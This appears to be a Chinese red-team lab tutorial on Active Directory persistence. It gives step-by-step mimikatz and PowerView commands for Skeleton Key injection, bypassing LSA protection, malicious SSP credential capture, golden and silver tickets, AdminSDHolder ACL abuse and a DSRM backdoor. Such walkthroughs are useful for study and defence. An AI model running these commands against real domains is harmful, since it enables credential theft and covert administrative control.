前言:本文总结一些常见的域内维持技术,如有错误之处,还请师傅们指正。
实验环境
域名:redteam
域控: 192.168.1.132 主机名:DC 版本:winserver2019 x64
有域管权限的域内机器:192.168.1.133 主机名:IT 版本:winserver2012 x64
万能密码(Skeleton-Key)
使用前置
- 在64位域控服务器上使用,因为skeleton key被安装在64位DC上
- 只是让所有域用户使用同一个万能密码进行登录其目前用户可以用原密码进行登录
- 重启后失效
mimikatz万能密码实现原理
在DC上以域控权限运行skeleton,能够将Kerberos认证加密降到RC4_HMAC_MD5,并以内存更新的方式给lsass.exe进程patch一个主密码mimikatz。
实验
一、使用域内普通用户访问域控
二、使用域内管理员访问域控
三、在域控以管理员权限运行mimikatz
privilege::debug
misc::skeleton
四、查看现有的连接机器并且注销
net use
net use \\192.168.1.132\ipc$ /del /y
五、使用域管理员账号和Skeleton Key与域控连接
net use \\DC\c$ "mimikatz" /user:redteam\administrator
其他测试
使用域控IP直接连接
无法连接,只能使用域控主机名连接
使用普通域用户连接
使用普通域用户IT建立连接无权限访问域控C盘内容,只能patch密码的域管才有访问权限
重启域控尝试建立连接
重启域控,万能密码失效
LSA绕过
开启LSA保护
微软自Windows 8.1 开始为LSA提供了额外的保护(LSA Protection),以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到LSA的插件都必须使用Microsoft签名进行数字签名
配置注册表测试。
注册表路径
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建-DWORD(32)值,名称为 RunAsPPL,数值为 00000001,然后重启系统生效
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f
域控尝试注入万能密码
在开启LSA保护后,万能密码注入失败
绕过
mimikatz其中的mimidrv.sys驱动程序,可从lsass.exe进程中删除LSA保护,成功bpypass LSA Protection(注意需要拷贝mimidrv.sys到同级目录)
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
之后再次测试连接
SSP
SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如NTLM、Ketberos,Negotiare. Seure Channe (Schannel )、Digest、Credental ( CredSSP )。
SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。
如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是: LSA (Local Security Authority)用于身份验证; lsass.exe 作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。
memssp加载到内存
原理:主要通过往lsass进程注入代码来patch其加载的msv1_0.dll中的SpAcceptCredentials函数来恢复凭据信息。
注意事项:使用mimikatz将伪造的SSP注人内存。这样做不会在系统中留下二进制文件,但如果域控制器重启,被注人内存的伪造的SSP将会丢失。
内存注入
privilege::debug
misc::memssp
注销当前用户重新登录
重新登录后,在C:\Windows\System32\mimilsa.log成功获得明文密码
SSP中加载mimilib.dll
原理:mimikatz自带mimilib.dll也实现了SSP功能,mimikatz利用AddSecurityPackage此API来加载SSP,可在不重启的情况下添加mimilib.dll。
该dll包含SpLsaModelntialize导出函数,lsass.exe会使用该函数来初始化包含多个回调函数的一个结构体,其中回调函数SpAcceptCredentials用来接收LSA传递的明文凭据。
操作
将mimikatz中的mimilib.dll放到系统的C:\Windows\System32\
目录下,并将mimilib添加到注册表中。使用这种方法,系统重启也不会影响持久化的效果。
之后添加注册表
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "mimilib.dll" /t REG_MULTI_SZ
重启机器后重新登录,获取到的明文保存在C:\Windows\System32\Kiwissp.log
两种方式差异总结
- 加载到内存:必须重新登录,重新启动后不会存在
- ssp中加载mimilib.dll:必须重启,永久有效
黄金票据
Golden Ticket是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了黄金票据就有了域内的最高权限。
制作条件
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
利用
黄金票据的生成需要用到krbtgt账户的密码HASH值,可以通过mimikatz中的
lsadump::dcsync /redteam.local /user:krbtgt
命令获取krbtgt的值。
得到krbtgt账户的HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT。
参数说明:
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
去掉最后一个值得到域的sid值:S-1-5-21-3458133008-801623762-2841880732
之后生成黄金票据
kerberos::golden /admin:administrator /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /krbtgt:c1fae0c27a40526e4ade2065d9646427 /ticket:golden.kiribi
再通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。
kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list
此时就可以访问域控的文件
注意
- 这种方式导入的Ticket默认在20分钟以内生效,如果过期了,再次ptt导入Golden Ticket即可。
- 可以伪造任意用户,即使其不存在。
- krbtgt的NTLM hash不会轻易改变,即使修改域控管理员密码。
# 白银票据
Silver Tickets就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以白银票据只能访问指定服务。
## 制作条件
1.域名称
2.域的SID值
3.域的服务账户的密码HASH(不是krbtgt,是域控)
4.伪造的用户名,可以是任意用户名,这里是testone
利用
首先我们需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是我们DC域控的HASH
privilege::debug
sekurlsa::logonpasswords
拿到了DC域控的hash:d0bcb64fc54fedf6adc2a53d78dcdec6
/domain:当前域名称
/sid:SID值,和金票一样取前面一部分
/target:目标主机,这里是DC.redteam.local
/service:服务名称,这里需要访问共享文件,所以是cifs
/rc4:目标主机的HASH值
/user:伪造的用户名
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用kerberos::ptt来导入
之后导入白银票据
kerberos::golden /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /target:DC.redteam.local /service:cifs /rc4:d0bcb64fc54fedf6adc2a53d78dcdec6 /user:testone /ptt
查看当前的票据并且访问域控成功
黄金票据和白银票据的一些区别
1.访问权限不同
- Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限
- Silver Ticket: 伪造TGS,只能访问指定的服务
2.加密方式不同
- Golden Ticket 由Kerberos的Hash—> krbtgt加密
- Silver Ticket 由服务器端密码的Hash值—> master key 加密
3.认证流程不同
- Golden Ticket 的利用过程需要访问域控(KDC)
- Silver Ticket 可以直接跳过 KDC 直接访问对应的服务器
AdminSDHolder
AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护AD账户和组的模板,当我们获取到域控权限,就可以通过授予该用户对容器进行滥用,使该用户成为域管。
默认情况下,该组的 ACL 被复制到所有“受保护组”中。这样做是为了避免有意或无意地更改这些关键组。但是,如果攻击者修改了AdminSDHolder组的 ACL,例如授予普通用户完全权限,则该用户将拥有受保护组内所有组的完全权限
利用
导入powerview脚本,将用户IT添加到对AdminSDHolder的具有完全访问权限
Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName IT -Verbose -Rights All
但是由于SDPROP
的原因,默认等待60分钟之后生效
所以我们可以修改生效的时间,1分钟后生效
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
之后导入
查询新增的IT是否有权限
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'IT'}
查看域管
重启IT机器,在IT机器上输入
net group "domain admins" IT /add /domain
发现以IT的权限可以直接添加为域管
并且在不是本地域管情况下,仍然可以和域控建立连接
SID History后门
SID介绍
每个用户帐号都有一个对应的安全标识符(Security Identifiers,SID),SID用于跟踪主体在访问资源时的权限。如果存在两个同样SID的用户,这两个帐户将被鉴别为同一个帐户,原理上如果帐户无限制增加的时候,会产生同样的SID,在通常的情况下SID是唯一的,他由计算机名、当前时间、当前用户态线程的CPU耗费时间的总和三个参数决定以保证它的唯一性。
为了支持AD牵移,微软设计了SID History属性,SID History允许另一个帐户的访问被有效的克隆到另一个帐户。
一个完整的SID包括:
- 用户和组的安全描述
- 48-bit的ID authority
- 修订版本
- 可变的验证值Variable sub-authority values
例:S-1-5-21-310440588-250036847-580389505-500
第一项S表示该字符串是SID;第二项是SID的版本号,对于2000来说,这个就是1;然后是标志符的颁发机构(identifier authority),对于2000内的帐户,颁发机构就是NT,值是5。然后表示一系列的子颁发机构,前面几项是标志域的,最后一个标志着域内的帐户和组。
可以注意到最后一个标志位为500,这个500是相对标识符(Relative Identifer, RID),账户的RID值是固定的。一般克隆用户原理就是篡改其他用户的RID值使系统认为对应用户是管理员。
常见的RID:500-管理员 519-EA 501-Guest
Sid history 利用
这里我使用winserver2019 17763 域控测试失败
但是作者似乎没有修复这个问题:https://github.com/gentilkiwi/mimikatz/issues/348
利用成功步骤可以参考这里
DSRM后门
DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil 命令行工具。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版木的系统中不需要安装此补丁。如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作。
利用
##打开ntdsutil。
NTDSUTIL
##设置DSRM的密码。
SET DSRM PASSWORD
##使DSRM的密码和指定域用户的密码同步。
SYNC FROM DOMAIN ACCOUNT domainusername
下面来对比一下
privilege::debug
lsadump::lsa /name:SIDTEST /inject
privilege::debug
token::elevate
lsadump::sam
发现ntlm hash一致
同时我们可以修改注册表
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
来使用DSRM账号通过网络登录域控
然后使用mimitatz pth即可
参考
https://swanq.top/2021/07/12/%E5%9F%9F%E6%B8%97%E9%80%8F%E7%BB%B4%E6%9D%83%E4%B9%8BSSP/
https://shu1l.github.io/2020/06/06/qian-xi-huang-jin-piao-ju-yu-bai-yin-piao-ju/#%E9%87%91%E7%A5%A8-GoldenTicket
https://pentestlab.blog/2022/01/04/domain-persistence-adminsdholder/
https://www.c0bra.xyz/2021/02/17/%E5%9F%9F%E6%B8%97%E9%80%8F-SID-History%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E5%8F%8A%E5%9F%9F%E4%BF%A1%E4%BB%BB%E6%94%BB%E5%87%BB/